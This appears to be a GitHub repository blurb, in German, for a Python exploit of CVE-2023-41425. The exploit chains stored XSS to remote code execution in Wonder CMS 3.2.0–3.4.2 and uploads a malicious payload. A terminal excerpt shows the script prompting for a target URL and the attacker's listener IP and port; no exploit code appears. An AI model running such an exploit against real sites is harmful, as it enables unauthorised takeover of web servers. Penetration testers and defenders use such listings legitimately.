0x0d3ad/cve-2023-41425Automatisierter Python-Exploit für CVE-2023-41425, der gespeichertes XSS mit Remote-Code-Ausführung in Wonder CMS 3.2.0 bis 3.4.2 verknüpft. Ermöglicht authentifizierte Admin-Aktionen zum Hochladen und Ausführen einer schädlichen Payload.
CVE-2023-41425 (XSS zu RCE, Wonder CMS 3.2.0 <= 3.4.2)
➜ CVE-2023-41425 python3 exploit.py
Enter target URL (RHOST, e.g., http://example.com/loginURL): http://redacted.com/loginURL
Enter your local host IP (LHOST, e.g., 10.10.14.xxx): xx.xx.xx.xx
Enter your local web server port (LPORTWEB, e.g., 80): 80
